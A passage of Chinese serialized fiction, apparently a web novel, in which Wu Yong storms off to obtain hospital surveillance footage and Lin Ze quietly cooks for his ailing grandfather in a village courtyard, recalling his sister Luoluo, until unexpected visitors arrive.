“可是,不写书面申请,无法跟医院沟通,监控就调不了……” 小护士说话的声音越来越小,最后那句,只能听到嗡嗡的声音。 吴庸感觉要……炸了! 伸手对着小护士的方向指了指,吴庸眼睛眯成一道缝。 “你别走,你给我等着,等我调完监控回来以后再收拾你!” 甩下这句话。 吴庸大步冲出去。 唐若涵,你在哪儿? 为什么不接电话? 到底发生了什么事情! 无数个想法涌入脑海,吴庸大脑一片空白,脚步都跟着凌乱起来。 …… 另外一边。 送走几位乡亲,林泽重新回屋。 爷爷的精神看起来不错,气色比在医院的时候好了很多。 事实确实如此。 看到老邻居老街坊,林振山的心情也跟着好起来。 话说得比以往也多了些。 只是。 身体终究虚弱,等到人一走,林振山便缓缓闭上眼睛。 看了一下时间,林泽又坐在林振山的对面。 “爷爷我去做饭,估计这会儿不会来人了,你先睡一觉,做好饭以后,我再叫你。” 林振山嗯了一声。 林泽将薄毯往上提了提,这才蹑手蹑脚地走出屋子。 来到院子,林泽的心里也暖暖的。 村子里的人知道爷爷生病,大家都来探望,为了能让爷爷好好休息,他们停留的时间都不长。 而且。 村子里的人都很讲究,都在上午看望病人,一般将近中午以后就没人过来了。 这样一来,林泽也能腾出时间来专心做饭。 来到厨房后,林泽先烧上水,接着开始洗蔓菁。 昨天晚上,爷爷就提到想喝蔓菁小米粥。 一大早林泽去了集市,没想到,还真找到了。 为了能把蔓菁煮得软一些,林泽特意将其切成了小块,接着,又捏了一小撮苦荞放到锅里。 熟练地做着手上的动作,林泽嘴角突然微微扬起。 蔓菁,可是洛洛最不喜欢吃的东西。 记得小时候,每次做了小米粥,爷爷都会单独给洛洛盛出一碗来。 因为在洛洛的眼里,蔓菁是有“那个味儿”的。 至于“那个味儿”是什么味儿,洛洛年纪小说不清楚,可从她的小脸上能够看得出来,绝对是她忍受不了的味道。 长大之后,林泽也专门查过。 确实有很多人不喜欢蔓菁的味道,但是,蔓菁的营养价值却是很高的。 想着洛洛小时候的表情,林泽心中五味杂陈。 等到煮上饭,他又专门看了一下厨房的门框。 上面有两道印子。 高低不同。 低的那一道是洛洛的身高。 高的那一道,是他的。 两道都是爷爷刻上去的。 现在他已经长大,进厨房要低着头,不然会被磕到。 可是洛洛…… 林泽轻叹一口气,心慢慢沉下来。 米香味飘出。 林泽缓过神。 将锅盖掀开一个小缝,转身去做鸡蛋羹。 现在,他有大把的时间,所以在饭菜方面,林泽想着多做几种花样。 这样一来。 爷爷也不会感觉单调。 即便每样只吃几口,营养补充也能丰富一些。 院子一片安静。 清风拂过。 树叶沙沙作响。 院子里的阴凉也随着树叶的摆动,形成斑驳不全的图案。 几只麻雀,在树杈上来回跳跃,叽叽喳喳叫两声以后也舍不得离开。 林泽在厨房里忙活,偶尔能传出菜刀切菜的声音,却很有规律,也很轻。 北屋内。 林振山渐渐进入梦乡。 突然。 一阵脚步声传来。 “是这里吧?应该就是这儿了!” “走,先进去看看。” 听到外面有声音,林泽放下刀,本能地走出厨房。 这时。 说话的几个人已经来到院子中间。 并且,还在不断地张望。 迎上林泽目光的那一刹那。 双方都是……一怔。